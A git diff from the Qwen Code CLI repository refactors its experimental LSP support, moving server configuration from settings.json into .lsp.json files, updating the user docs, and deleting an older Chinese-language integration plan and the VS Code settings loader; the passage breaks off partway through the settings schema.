.../cli/src/services/lsp/NativeLspService.ts | 2442 ++--------------- packages/cli/src/services/lsp/constants.ts | 210 ++ packages/core/src/config/config.ts | 23 +- packages/core/src/index.ts | 7 +- packages/core/src/lsp/types.ts | 13 +- .../core/src/tools/lsp-find-references.ts | 308 --- .../core/src/tools/lsp-go-to-definition.ts | 308 --- .../core/src/tools/lsp-workspace-symbol.ts | 180 -- packages/core/src/tools/lsp.test.ts | 12 +- packages/core/src/tools/lsp.ts | 2 +- packages/core/src/tools/tool-names.ts | 11 +- .../LSP_REFACTORING_PLAN.md | 255 -- 33 files changed, 3064 insertions(+), 3907 deletions(-) delete mode 100644 cclsp-integration-plan.md delete mode 100644 packages/cli/src/config/lspSettingsSchema.ts create mode 100644 packages/cli/src/services/lsp/LspConfigLoader.ts create mode 100644 packages/cli/src/services/lsp/LspLanguageDetector.ts create mode 100644 packages/cli/src/services/lsp/LspResponseNormalizer.ts create mode 100644 packages/cli/src/services/lsp/LspServerManager.ts create mode 100644 packages/cli/src/services/lsp/LspTypes.ts create mode 100644 packages/cli/src/services/lsp/constants.ts delete mode 100644 packages/core/src/tools/lsp-find-references.ts delete mode 100644 packages/core/src/tools/lsp-go-to-definition.ts delete mode 100644 packages/core/src/tools/lsp-workspace-symbol.ts delete mode 100644 packages/vscode-ide-companion/LSP_REFACTORING_PLAN.md diff --git a/.vscode/settings.json b/.vscode/settings.json index 8331c3876..ea2735760 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -13,10 +13,5 @@ "[javascript]": { "editor.defaultFormatter": "esbenp.prettier-vscode" }, - "vitest.disableWorkspaceWarning": true, - "lsp": { - "enabled": true, - "allowed": ["typescript-language-server"], - "excluded": ["gopls"] - } + "vitest.disableWorkspaceWarning": true } diff --git a/cclsp-integration-plan.md b/cclsp-integration-plan.md deleted file mode 100644 index 7105653a7..000000000 --- a/cclsp-integration-plan.md +++ /dev/null @@ -1,147 +0,0 @@ -# Qwen Code CLI LSP 集成实现方案分析 - -## 1. 项目概述 - -本方案旨在将 LSP（Language Server Protocol）能力原生集成到 Qwen Code CLI 中，使 AI 代理能够利用代码导航、定义查找、引用查找等功能。LSP 将作为与 MCP 并行的一级扩展机制实现。 - -## 2. 技术方案对比 - -### 2.1 Piebald-AI/claude-code-lsps 方案 -- **架构**: 客户端直接与每个 LSP 通信，通过 `.lsp.json` 配置文件声明服务器命令/参数、stdio 传输和文件扩展名路由 -- **用户配置**: 低摩擦，只需放置 `.lsp.json` 配置并确保 LSP 二进制文件已安装 -- **安全**: LSP 子进程以用户权限运行，无内置信任门控 -- **功能覆盖**: 可以暴露完整的 LSP 表面（hover、诊断、代码操作、重命名等） - -### 2.2 原生 LSP 客户端方案（推荐方案） -- **架构**: Qwen Code CLI 直接作为 LSP 客户端，与语言服务器建立 JSON-RPC 连接 -- **用户配置**: 支持内置预设 + 用户自定义 `.lsp.json` 配置 -- **安全**: 与 MCP 共享相同的安全控制（信任工作区、允许/拒绝列表、确认提示） -- **功能覆盖**: 暴露完整的 LSP 功能（流式诊断、代码操作、重命名、语义标记等） - -### 2.3 cclsp + MCP 方案（备选） -- **架构**: 通过 MCP 协议调用 cclsp 作为 LSP 桥接 -- **用户配置**: 需要 MCP 配置 -- **安全**: 通过 MCP 安全控制 -- **功能覆盖**: 依赖于 cclsp 映射的 MCP 工具 - -## 3. 原生 LSP 集成详细计划 - -### 3.1 方案选择 -- **推荐方案**: 原生 LSP 客户端作为主要路径，因为它提供完整 LSP 功能、更低延迟和更好的用户体验 -- **兼容层**: 保留 cclsp+MCP 作为现有 MCP 工作流的兼容桥接 -- **并行架构**: LSP 和 MCP 作为独立的扩展机制共存，共享安全策略 - -### 3.2 实现步骤 - -#### 3.2.1 创建原生 LSP 服务 -在 `packages/cli/src/services/lsp/` 目录下创建 `NativeLspService` 类，处理： -- 工作区语言检测 -- 自动发现和启动语言服务器 -- 与现有文档/编辑模型同步 -- LSP 能力直接暴露给代理 - -#### 3.2.2 配置支持 -- 支持内置预设配置（常见语言服务器） -- 支持用户自定义 `.lsp.json` 配置文件 -- 与 MCP 配置共存，共享信任控制 - -#### 3.2.3 集成启动流程 -- 在 `packages/cli/src/config/config.ts` 中的 `loadCliConfig` 函数内集成 -- 确保 LSP 服务与 MCP 服务共享相同的安全控制机制 -- 处理沙箱预检和主运行的重复调用问题 - -#### 3.2.4 功能标志配置 -- 在 `packages/cli/src/config/settingsSchema.ts` 中添加新的设置项 -- 提供全局开关（如 `lsp.enabled=false`）允许用户禁用 LSP 功能 -- 尊重 `mcp.allowed`/`mcp.excluded` 和文件夹信任设置 - -#### 3.2.5 安全控制 -- 与 MCP 共享相同的安全控制机制 -- 在信任工作区中自动启用，在非信任工作区中提示用户 -- 实现路径允许列表和进程启动确认 - -#### 3.2.6 错误处理与用户通知 -- 检测缺失的语言服务器并提供安装命令 -- 通过现有 MCP 状态 UI 显示错误信息 -- 实现重试/退避机制，检测沙箱环境并抑制自动启动 - -### 3.3 需要确认的不确定项 - -1. **启动集成点**：在 `loadCliConfig` 中集成原生 LSP 服务，需确保与 MCP 服务的协调 - -2. **配置优先级**：如果用户已有 cclsp MCP 配置，应保持并存还是优先使用原生 LSP - -3. **功能开关设计**：开关应该是全局级别的，LSP 和 MCP 可独立启用/禁用 - -4. **共享安全模型**：如何在代码中复用 MCP 的信任/安全控制逻辑 - -5. **语言服务器管理**：如何管理 LSP 服务器生命周期并与文档编辑模型同步 - -6. **依赖检测机制**：检测 LSP 服务器可用性，失败时提供降级选项 - -7. **测试策略**：需要测试 LSP 与 MCP 的并行运行，以及共享安全控制 - -### 3.4 安全考虑 - -- 与 MCP 共享相同的安全控制模型 -- 仅在受信任工作区中启用自动 LSP 功能 -- 提供用户确认机制用于启动新的 LSP 服务器 -- 防止路径劫持，使用安全的路径解析 - -### 3.5 高级 LSP 功能支持 - -- **完整 LSP 功能**: 支持流式诊断、代码操作、重命名、语义高亮、工作区编辑等 -- **兼容 Claude 配置**: 支持导入 Claude Code 风格的 `.lsp.json` 配置 -- **性能优化**: 优化 LSP 服务器启动时间和内存使用 - -### 3.6 用户体验 - -- 提供安装提示而非自动安装 -- 在统一的状态界面显示 LSP 和 MCP 服务器状态 -- 提供独立开关让用户控制 LSP 和 MCP 功能 -- 为只读/沙箱环境提供安全的配置处理和清晰的错误消息 - -## 4. 实施总结 - -### 4.1 已完成的工作 -1. **NativeLspService 类**：创建了核心服务类，包含语言检测、配置合并、LSP 连接管理等功能 -2. **LSP 连接工厂**：实现了基于 stdio 的 LSP 连接创建和管理 -3. **语言检测机制**：实现了基于文件扩展名和项目配置文件的语言自动检测 -4. **配置系统**：实现了内置预设、用户配置和 Claude 兼容配置的合并 -5. **安全控制**：实现了与 MCP 共享的安全控制机制，包括信任检查、用户确认、路径安全验证 -6. **CLI 集成**：在 `loadCliConfig` 函数中集成了 LSP 服务初始化点 - -### 4.2 关键组件 - -#### 4.2.1 LspConnectionFactory -- 使用 `vscode-jsonrpc` 和 `vscode-languageserver-protocol` 实现 LSP 连接 -- 支持 stdio 传输方式，可以扩展支持 TCP 传输 -- 提供连接创建、初始化和关闭的完整生命周期管理 - -#### 4.2.2 NativeLspService -- **语言检测**：扫描项目文件和配置文件来识别编程语言 -- **配置合并**：按优先级合并内置预设、用户配置和兼容层配置 -- **LSP 服务器管理**：启动、停止和状态管理 -- **安全控制**：与 MCP 共享的信任和确认机制 - -#### 4.2.3 配置架构 -- **内置预设**：为常见语言提供默认 LSP 服务器配置 -- **用户配置**：支持 `.lsp.json` 文件格式 -- **Claude 兼容**：可导入 Claude Code 的 LSP 配置 - -### 4.3 依赖管理 -- 使用 `vscode-languageserver-protocol` 进行 LSP 协议通信 -- 使用 `vscode-jsonrpc` 进行 JSON-RPC 消息传递 -- 使用 `vscode-languageserver-textdocument` 管理文档版本 - -### 4.4 安全特性 -- 工作区信任检查 -- 用户确认机制（对于非信任工作区） -- 命令存在性验证 -- 路径安全性检查 - -## 5. 总结 - -原生 LSP 客户端是当前最符合 Qwen Code 架构的选择，它提供了完整的 LSP 功能、更低的延迟和更好的用户体验。LSP 作为与 MCP 并行的一级扩展机制，将与 MCP 共享安全控制策略，但提供更丰富的代码智能功能。cclsp+MCP 可作为兼容层保留，以支持现有的 MCP 工作流。 - -该实现方案将使 Qwen Code CLI 具备完整的 LSP 功能，包括代码跳转、引用查找、自动补全、代码诊断等，为 AI 代理提供更丰富的代码理解能力。 \ No newline at end of file diff --git a/docs/users/configuration/settings.md b/docs/users/configuration/settings.md index 877deeb95..9369a9890 100644 --- a/docs/users/configuration/settings.md +++ b/docs/users/configuration/settings.md @@ -288,20 +288,9 @@ If you are experiencing performance issues with file searching (e.g., with `@` c > [!warning] > **Experimental Feature**: LSP support is currently experimental and disabled by default. Enable it using the `--experimental-lsp` command line flag. -Language Server Protocol (LSP) settings for code intelligence features like go-to-definition, find references, and diagnostics. See the [LSP documentation](../features/lsp) for more details. +Language Server Protocol (LSP) provides code intelligence features like go-to-definition, find references, and diagnostics. -| Setting | Type | Description | Default | -| --------------------- | ---------------- | ------------------------------------------------------------------------------------------------------------------------------------- | ------- | -| `lsp.enabled` | boolean | Enable/disable LSP support. Has no effect unless `--experimental-lsp` is provided. | `false` | -| `lsp.autoDetect` | boolean | Automatically detect and start language servers based on project files. | `true` | -| `lsp.serverTimeout` | number | LSP server startup timeout in milliseconds. | `10000` | -| `lsp.allowed` | array of strings | An allowlist of LSP servers to allow. Empty means allow all detected servers. | `[]` | -| `lsp.excluded` | array of strings | A denylist of LSP servers to exclude. A server listed in both is excluded. | `[]` | -| `lsp.languageServers` | object | Custom language server configurations. See the [LSP documentation](../features/lsp#custom-language-servers) for configuration format. | `{}` | - -> [!note] -> -> **Security Note for LSP servers:** LSP servers run with your user permissions and can execute code. They are only started in trusted workspaces by default. You can configure per-server trust requirements in the `.lsp.json` configuration file. +LSP server configuration is done through `.lsp.json` files in your project root directory, not through `settings.json`. See the [LSP documentation](../features/lsp) for configuration details and examples. #### security diff --git a/docs/users/features/lsp.md b/docs/users/features/lsp.md index 61e063223..bf6266fbc 100644 --- a/docs/users/features/lsp.md +++ b/docs/users/features/lsp.md @@ -15,55 +15,61 @@ LSP support in Qwen Code works by connecting to language servers that understand ## Quick Start -LSP is enabled by default in Qwen Code. For most common languages, Qwen Code will automatically detect and start the appropriate language server if it's installed on your system. +LSP is an experimental feature in Qwen Code. To enable it, use the `--experimental-lsp` command line flag: + +```bash +qwen --experimental-lsp +``` + +For most common languages, Qwen Code will automatically detect and start the appropriate language server if it's installed on your system. ### Prerequisites You need to have the language server for your programming language installed: -| Language | Language Server | Install Command | -|----------|----------------|-----------------| -| TypeScript/JavaScript | typescript-language-server | `npm install -g typescript-language-server typescript` | -| Python | pylsp | `pip install python-lsp-server` | -| Go | gopls | `go install golang.org/x/tools/gopls@latest` | -| Rust | rust-analyzer | [Installation guide](https://rust-analyzer.github.io/manual.html#installation) | +| Language | Language Server | Install Command | +| --------------------- | -------------------------- | ------------------------------------------------------------------------------ | +| TypeScript/JavaScript | typescript-language-server | `npm install -g typescript-language-server typescript` | +| Python | pylsp | `pip install python-lsp-server` | +| Go | gopls | `go install golang.org/x/tools/gopls@latest` | +| Rust | rust-analyzer | [Installation guide](https://rust-analyzer.github.io/manual.html#installation) | ## Configuration -### Settings +### .lsp.json File -You can configure LSP behavior in your `settings.json`: +You can configure language servers using a `.lsp.json` file in your project root. This follows the [Claude Code plugin LSP configuration format](https://code.claude.com/docs/en/plugins-reference#lsp-servers). + +**Basic format:** ```json { - "lsp": { - "enabled": true, - "autoDetect": true, - "serverTimeout": 10000, - "allowed": [], - "excluded": [] + "typescript": { + "command": "typescript-language-server", + "args": ["--stdio"], + "extensionToLanguage": { + ".ts": "typescript", + ".tsx": "typescriptreact", + ".js": "javascript", + ".jsx": "javascriptreact" + } } } ``` -| Setting | Type | Default | Description | -|---------|------|---------|-------------| -| `lsp.enabled` | boolean | `true` | Enable/disable LSP support | -| `lsp.autoDetect` | boolean | `true` | Automatically detect and start language servers | -| `lsp.serverTimeout` | number | `10000` | Server startup timeout in milliseconds | -| `lsp.allowed` | string[] | `[]` | Allow only these servers (empty = allow all) | -| `lsp.excluded` | string[] | `[]` | Exclude these servers from starting | - -### Custom Language Servers - -You can configure custom language servers using a `.lsp.json` file in your project root: +**Extended format with `languageServers` wrapper:** ```json { "languageServers": { - "my-custom-lsp": { - "languages": ["mylang"], - "command": "my-lsp-server", + "typescript-language-server": { + "languages": [ + "typescript", + "javascript", + "typescriptreact", + "javascriptreact" + ], + "command": "typescript-language-server", "args": ["--stdio"], "transport": "stdio", "initializationOptions": {}, @@ -73,40 +79,45 @@ You can configure custom language servers using a `.lsp.json` file in your proje } ``` -#### Configuration Options +### Configuration Options -| Option | Type | Required | Description | -|--------|------|----------|-------------| -| `languages` | string[] | Yes | Languages this server handles | -| `command` | string | Yes* | Command to start the server | -| `args` | string[] | No | Command line arguments | -| `transport` | string | No | Transport type: `stdio` (default), `tcp`, or `socket` | -| `env` | object | No | Environment variables | -| `initializationOptions` | object | No | LSP initialization options | -| `settings` | object | No | Server settings | -| `workspaceFolder` | string | No | Override workspace folder | -| `startupTimeout` | number | No | Startup timeout in ms | -| `shutdownTimeout` | number | No | Shutdown timeout in ms | -| `restartOnCrash` | boolean | No | Auto-restart on crash | -| `maxRestarts` | number | No | Maximum restart attempts | -| `trustRequired` | boolean | No | Require trusted workspace | +#### Required Fields -*Required for `stdio` transport +| Option | Type | Description | +| --------------------- | ------ | ------------------------------------------------- | +| `command` | string | Command to start the LSP server (must be in PATH) | +| `extensionToLanguage` | object | Maps file extensions to language identifiers | -#### TCP/Socket Transport +#### Optional Fields + +| Option | Type | Default | Description | +| ----------------------- | -------- | --------- | ------------------------------------------------------ | +| `args` | string[] | `[]` | Command line arguments | +| `transport` | string | `"stdio"` | Transport type: `stdio` or `socket` | +| `env` | object | - | Environment variables | +| `initializationOptions` | object | - | LSP initialization options | +| `settings` | object | - | Server settings via `workspace/didChangeConfiguration` | +| `workspaceFolder` | string | - | Override workspace folder | +| `startupTimeout` | number | `10000` | Startup timeout in milliseconds | +| `shutdownTimeout` | number | `5000` | Shutdown timeout in milliseconds | +| `restartOnCrash` | boolean | `false` | Auto-restart on crash | +| `maxRestarts` | number | `3` | Maximum restart attempts | +| `trustRequired` | boolean | `true` | Require trusted workspace | + +### TCP/Socket Transport For servers that use TCP or Unix socket transport: ```json { - "languageServers": { - "remote-lsp": { - "languages": ["custom"], - "transport": "tcp", - "socket": { - "host": "127.0.0.1", - "port": 9999 - } + "remote-lsp": { + "transport": "tcp", + "socket": { + "host": "127.0.0.1", + "port": 9999 + }, + "extensionToLanguage": { + ".custom": "custom" } } } @@ -119,6 +130,7 @@ Qwen Code exposes LSP functionality through the unified `lsp` tool. Here are the ### Code Navigation #### Go to Definition + Find where a symbol is defined. ``` @@ -130,6 +142,7 @@ Parameters: ``` #### Find References + Find all references to a symbol. ``` @@ -142,6 +155,7 @@ Parameters: ``` #### Go to Implementation + Find implementations of an interface or abstract method. ``` @@ -155,6 +169,7 @@ Parameters: ### Symbol Information #### Hover + Get documentation and type information for a symbol. ``` @@ -166,6 +181,7 @@ Parameters: ``` #### Document Symbols + Get all symbols in a document. ``` @@ -175,6 +191,7 @@ Parameters: ``` #### Workspace Symbol Search + Search for symbols across the workspace. ``` @@ -187,6 +204,7 @@ Parameters: ### Call Hierarchy #### Prepare Call Hierarchy + Get the call hierarchy item at a position. ``` @@ -198,6 +216,7 @@ Parameters: ``` #### Incoming Calls + Find all functions that call the given function. ``` @@ -207,6 +226,7 @@ Parameters: ``` #### Outgoing Calls + Find all functions called by the given function. ``` @@ -218,6 +238,7 @@ Parameters: ### Diagnostics #### File Diagnostics + Get diagnostic messages (errors, warnings) for a file. ``` @@ -227,6 +248,7 @@ Parameters: ``` #### Workspace Diagnostics + Get all diagnostic messages across the workspace. ``` @@ -238,6 +260,7 @@ Parameters: ### Code Actions #### Get Code Actions + Get available code actions (quick fixes, refactorings) at a location. ``` @@ -253,6 +276,7 @@ Parameters: ``` Code action kinds: + - `quickfix` - Quick fixes for errors/warnings - `refactor` - Refactoring operations - `refactor.extract` - Extract to function/variable @@ -268,19 +292,23 @@ LSP servers are only started in trusted workspaces by default. This is because l ### Trust Controls - **Trusted Workspace**: LSP servers start automatically -- **Untrusted Workspace**: LSP servers won't start unless `trustRequired: false` +- **Untrusted Workspace**: LSP servers won't start unless `trustRequired: false` is set in the server configuration To mark a workspace as trusted, use the `/trust` command or configure trusted folders in settings. -### Server Allowlists +### Per-Server Trust Override -You can restrict which servers are allowed to run: +You can override trust requirements for specific servers in their configuration: ```json { - "lsp": { - "allowed": ["typescript-language-server", "gopls"], - "excluded": ["untrusted-server"] + "safe-server": { + "command": "safe-language-server", + "args": ["--stdio"], + "trustRequired": false, + "extensionToLanguage": { + ".safe": "safe" + } } } ``` @@ -293,12 +321,12 @@ You can restrict which servers are allowed to run: 2. **Check the PATH**: Ensure the server binary is in your system PATH 3. **Check workspace trust**: The workspace must be trusted for LSP 4. **Check logs**: Look for error messages in the console output +5. **Verify --experimental-lsp flag**: Make sure you're using the flag when starting Qwen Code ### Slow Performance 1. **Large projects**: Consider excluding `node_modules` and other large directories -2. **Server timeout**: Increase `lsp.serverTimeout` for slow servers -3. **Multiple servers**: Exclude unused language servers +2. **Server timeout**: Increase `startupTimeout` in server configuration for slow servers ### No Results @@ -311,39 +339,40 @@ You can restrict which servers are allowed to run: Enable debug logging to see LSP communication: ```bash -DEBUG=lsp* qwen +DEBUG=lsp* qwen --experimental-lsp ``` Or check the LSP debugging guide at `packages/cli/LSP_DEBUGGING_GUIDE.md`. ## Claude Code Compatibility -Qwen Code supports Claude Code-style `.lsp.json` configuration files. If you're migrating from Claude Code, your existing LSP configuration should work with minimal changes. +Qwen Code supports Claude Code-style `.lsp.json` configuration files as defined in the [Claude Code plugins reference](https://code.claude.com/docs/en/plugins-reference#lsp-servers). If you're migrating from Claude Code, your existing LSP configuration should work with minimal changes. -### Legacy Format +### Configuration Format -The legacy format (used by earlier versions) is still supported but deprecated: +The recommended format follows Claude Code's specification: ```json { - "typescript": { - "command": "typescript-language-server", - "args": ["--stdio"], - "transport": "stdio" + "go": { + "command": "gopls", + "args": ["serve"], + "extensionToLanguage": { + ".go": "go" + } } } ``` -We recommend migrating to the new `languageServers` format: +The `languageServers` wrapper format is also supported: ```json { "languageServers": { - "typescript-language-server": { - "languages": ["typescript", "javascript"], - "command": "typescript-language-server", - "args": ["--stdio"], - "transport": "stdio" + "gopls": { + "languages": ["go"], + "command": "gopls", + "args": ["serve"] } } } @@ -352,12 +381,20 @@ We recommend migrating to the new `languageServers` format: ## Best Practices 1. **Install language servers globally**: This ensures they're available in all projects -2. **Use project-specific settings**: Configure server options per project when needed +2. **Use project-specific settings**: Configure server options per project when needed via `.lsp.json` 3. **Keep servers updated**: Update your language servers regularly for best results 4. **Trust wisely**: Only trust workspaces from trusted sources ## FAQ +### Q: How do I enable LSP? + +Use the `--experimental-lsp` flag when starting Qwen Code: + +```bash +qwen --experimental-lsp +``` + ### Q: How do I know which language servers are running? Use the `/lsp status` command to see all configured and running language servers. @@ -369,15 +406,3 @@ Yes, but only one will be used for each operation. The first server that returns ### Q: Does LSP work in sandbox mode? LSP servers run outside the sandbox to access your code. They're subject to workspace trust controls. - -### Q: How do I disable LSP for a specific project? - -Add to your project's `.qwen/settings.json`: - -```json -{ - "lsp": { - "enabled": false - } -} -``` diff --git a/package-lock.json b/package-lock.json index 5641b0bde..2a0726478 100644 --- a/package-lock.json +++ b/package-lock.json @@ -39,7 +39,6 @@ "globals": "^16.0.0", "husky": "^9.1.7", "json": "^11.0.0", - "json-schema": "^0.4.0", "lint-staged": "^16.1.6", "memfs": "^4.42.0", "mnemonist": "^0.40.3", @@ -10816,13 +10815,6 @@ "node": "^18.17.0 || >=20.5.0" } }, - "node_modules/json-schema": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", - "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", - "dev": true, - "license": "(AFL-2.1 OR BSD-3-Clause)" - }, "node_modules/json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", diff --git a/package.json b/package.json index 2ce6e8146..a9ab15472 100644 --- a/package.json +++ b/package.json @@ -94,7 +94,6 @@ "globals": "^16.0.0", "husky": "^9.1.7", "json": "^11.0.0", - "json-schema": "^0.4.0", "lint-staged": "^16.1.6", "memfs": "^4.42.0", "mnemonist": "^0.40.3", diff --git a/packages/cli/LSP_DEBUGGING_GUIDE.md b/packages/cli/LSP_DEBUGGING_GUIDE.md index 75c018ecf..d837adb4d 100644 --- a/packages/cli/LSP_DEBUGGING_GUIDE.md +++ b/packages/cli/LSP_DEBUGGING_GUIDE.md @@ -17,25 +17,41 @@ DEBUG_MODE=true qwen [你的命令] ## 2. LSP 配置选项 -LSP 功能通过设置系统配置，包含以下选项： +LSP 功能通过 `--experimental-lsp` 命令行参数启用。服务器配置通过以下方式定义： -- `lsp.enabled`: 启用/禁用原生 LSP 客户端（默认为 `false`） -- `lsp.allowed`: 允许的 LSP 服务器名称白名单 -- `lsp.excluded`: 排除的 LSP 服务器名称黑名单 +- `.lsp.json` 文件：在项目根目录创建配置文件 +- `lsp.languageServers`：在 `settings.json` 中内联配置 -在 settings.json 中的示例配置： +### 在 settings.json 中的示例配置 ```json { "lsp": { - "enabled": true, - "allowed": ["typescript-language-server", "pylsp"], - "excluded": ["gopls"] + "languageServers": { + "typescript-language-server": { + "languages": ["typescript", "javascript"], + "command": "typescript-language-server", + "args": ["--stdio"] + } + } } } ``` -也可以在 `settings.json` 中配置 `lsp.languageServers`，格式与 `.lsp.json` 一致。 +### 在 .lsp.json 中的示例配置 + +```json +{ + "typescript": { + "command": "typescript-language-server", + "args": ["--stdio"], + "extensionToLanguage": { + ".ts": "typescript", + ".tsx": "typescriptreact" + } + } +} +``` ## 3. NativeLspService 调试功能 diff --git a/packages/cli/src/config/config.test.ts b/packages/cli/src/config/config.test.ts index 4ddd3e3ef..8c71b8d9d 100644 --- a/packages/cli/src/config/config.test.ts +++ b/packages/cli/src/config/config.test.ts @@ -600,42 +600,17 @@ describe('loadCliConfig', () => { it('should initialize native LSP service when enabled', async () => { process.argv = ['node', 'script.js', '--experimental-lsp']; const argv = await parseArguments({} as Settings); - const settings: Settings = { - lsp: { - allowed: ['typescript-language-server'], - excluded: ['pylsp'], - }, - }; + const settings: Settings = {}; const config = await loadCliConfig(settings, argv); // LSP is enabled via --experimental-lsp flag expect(config.isLspEnabled()).toBe(true); - expect(config.getLspAllowed()).toEqual(['typescript-language-server']); - expect(config.getLspExcluded()).toEqual(['pylsp']); expect(nativeLspServiceMock).toHaveBeenCalledTimes(1); const lspInstance = getLastLspInstance(); expect(lspInstance).toBeDefined(); expect(lspInstance?.discoverAndPrepare).toHaveBeenCalledTimes(1); expect(lspInstance?.start).toHaveBeenCalledTimes(1); - - const options = nativeLspServiceMock.mock.calls[0][5]; - expect(options?.allowedServers).toEqual(['typescript-language-server']); - expect(options?.excludedServers).toEqual(['pylsp']); - }); - - it('should skip native LSP startup when startLsp option is false', async () => { - process.argv = ['node', 'script.js', '--experimental-lsp']; - const argv = await parseArguments({} as Settings); - const settings: Settings = {}; - - const config = await loadCliConfig(settings, argv, undefined, undefined, { - startLsp: false, - }); - - expect(config.isLspEnabled()).toBe(true); - expect(nativeLspServiceMock).not.toHaveBeenCalled(); - expect(getLastLspInstance()).toBeUndefined(); }); describe('Proxy configuration', () => { diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 2ca7d5950..f04486894 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -151,14 +151,6 @@ export interface CliArgs { channel: string | undefined; } -export interface LoadCliConfigOptions { - /** - * Whether to start the native LSP service during config load. - * Disable when doing preflight runs (e.g., sandbox preparation). - */ - startLsp?: boolean; -} - class NativeLspClient implements LspClient { constructor(private readonly service: NativeLspService) {} @@ -819,7 +811,6 @@ export async function loadCliConfig( argv: CliArgs, cwd: string = process.cwd(), overrideExtensions?: string[], - options: LoadCliConfigOptions = {}, ): Promise { const debugMode = isDebugMode(argv); @@ -877,9 +868,6 @@ export async function loadCliConfig( // LSP configuration: enabled only via --experimental-lsp flag const lspEnabled = argv.experimentalLsp === true; - const lspAllowed = settings.lsp?.allowed ?? settings.mcp?.allowed; - const lspExcluded = settings.lsp?.excluded ?? settings.mcp?.excluded; - const lspLanguageServers = settings.lsp?.languageServers; let lspClient: LspClient | undefined; const question = argv.promptInteractive || argv.prompt || ''; const inputFormat: InputFormat = @@ -1186,13 +1174,10 @@ export async function loadCliConfig( argv.chatRecording ?? settings.general?.chatRecording ?? true, lsp: { enabled: lspEnabled, - allowed: lspAllowed, - excluded: lspExcluded, }, }); - const shouldStartLsp = options.startLsp ?? true; - if (shouldStartLsp && lspEnabled) { + if (lspEnabled) { try { const lspService = new NativeLspService( config, @@ -1201,10 +1186,7 @@ export async function loadCliConfig( fileService, ideContextStore, { - allowedServers: lspAllowed, - excludedServers: lspExcluded, requireTrustedWorkspace: folderTrust, - inlineServerConfigs: lspLanguageServers, }, ); diff --git a/packages/cli/src/config/lspSettingsSchema.ts b/packages/cli/src/config/lspSettingsSchema.ts deleted file mode 100644 index 2a77a2398..000000000 --- a/packages/cli/src/config/lspSettingsSchema.ts +++ /dev/null @@ -1,39 +0,0 @@ -import type { JSONSchema7 } from 'json-schema'; - -export const lspSettingsSchema: JSONSchema7 = { - type: 'object', - properties: { - 'lsp.enabled': { - type: 'boolean', - default: false, - description: - '启用 LSP 语言服务器协议支持（实验性功能）。必须通过 --experimental-lsp 命令行参数显式开启。' - }, - 'lsp.allowed': { - type: 'array', - items: { - type: 'string' - }, - default: [], - description: '允许运行的 LSP 服务器列表' - }, - 'lsp.excluded': { - type: 'array', - items: { - type: 'string' - }, - default: [], - description: '禁止运行的 LSP 服务器列表' - }, - 'lsp.autoDetect': { - type: 'boolean', - default: true, - description: '自动检测项目语言并启动相应 LSP 服务器' - }, - 'lsp.serverTimeout': { - type: 'number', - default: 10000, - description: 'LSP 服务器启动超时时间（毫秒）' - } - } -}; \ No newline at end of file diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index 1e28ceb8d..0f213acf3 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -150,39 +150,6 @@ export function getSystemDefaultsPath(): string { ); } -function getVsCodeSettingsPath(workspaceDir: string): string { - return path.join(workspaceDir, '.vscode', 'settings.json'); -} - -function loadVsCodeSettings(workspaceDir: string): Settings { - const vscodeSettingsPath = getVsCodeSettingsPath(workspaceDir); - try { - if (fs.existsSync(vscodeSettingsPath)) { - const content = fs.readFileSync(vscodeSettingsPath, 'utf-8'); - const rawSettings: unknown = JSON.parse(stripJsonComments(content)); - - if ( - typeof rawSettings !== 'object' || - rawSettings === null || - Array.isArray(rawSettings) - ) { - console.error( - `VS Code settings file is not a valid JSON object: ${vscodeSettingsPath}`, - ); - return {}; - } - - return rawSettings as Settings; - } - } catch (error: unknown) { - console.error( - `Error loading VS Code settings from ${vscodeSettingsPath}:`, - getErrorMessage(error), - ); - } - return {}; -} - export type { DnsResolutionOrder } from './settingsSchema.js'; export enum SettingScope { @@ -746,9 +713,6 @@ export function loadSettings( workspaceDir, ).getWorkspaceSettingsPath(); - // Load VS Code settings as an additional source of configuration - const vscodeSettings = loadVsCodeSettings(workspaceDir); - const loadAndMigrate = ( filePath: string, scope: SettingScope, @@ -853,14 +817,6 @@ export function loadSettings( userSettings = resolveEnvVarsInObject(userResult.settings); workspaceSettings = resolveEnvVarsInObject(workspaceResult.settings); - // Merge VS Code settings into workspace settings (VS Code settings take precedence) - workspaceSettings = customDeepMerge( - getMergeStrategyForPath, - {}, - workspaceSettings, - vscodeSettings, - ) as Settings; - // Support legacy theme names if (userSettings.ui?.theme === 'VS') { userSettings.ui.theme = DefaultLight.name; @@ -874,13 +830,11 @@ export function loadSettings( } // For the initial trust check, we can only use user and system settings. - // We also include VS Code settings as they may contain trust-related settings const initialTrustCheckSettings = customDeepMerge( getMergeStrategyForPath, {}, systemSettings, userSettings, - vscodeSettings, // Include VS Code settings ); const isTrusted = isWorkspaceTrusted(initialTrustCheckSettings as Settings).isTrusted ?? true; @@ -894,18 +848,9 @@ export function loadSettings( isTrusted, ); - // Add VS Code settings to the temp merged settings for environment loading - // Since loadEnvironment depends on settings, we need to consider VS Code settings as well - const tempMergedSettingsWithVsCode = customDeepMerge( - getMergeStrategyForPath, - {}, - tempMergedSettings, - vscodeSettings, - ) as Settings; - // loadEnviroment depends on settings so we have to create a temp version of // the settings to avoid a cycle - loadEnvironment(tempMergedSettingsWithVsCode); + loadEnvironment(tempMergedSettings); // Create LoadedSettings first diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index 6390643d0..f5669cd87 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -967,59 +967,6 @@ const SETTINGS_SCHEMA = { }, }, }, - lsp: { - type: 'object', - label: 'LSP', - category: 'LSP', - requiresRestart: true, - default: {}, - description: - 'Settings for the native Language Server Protocol integration. Enable with --experimental-lsp flag.', - showInDialog: false, - properties: { - enabled: { - type: 'boolean', - label: 'Enable LSP', - category: 'LSP', - requiresRestart: true, - default: false, - description: - 'Enable the native LSP client. 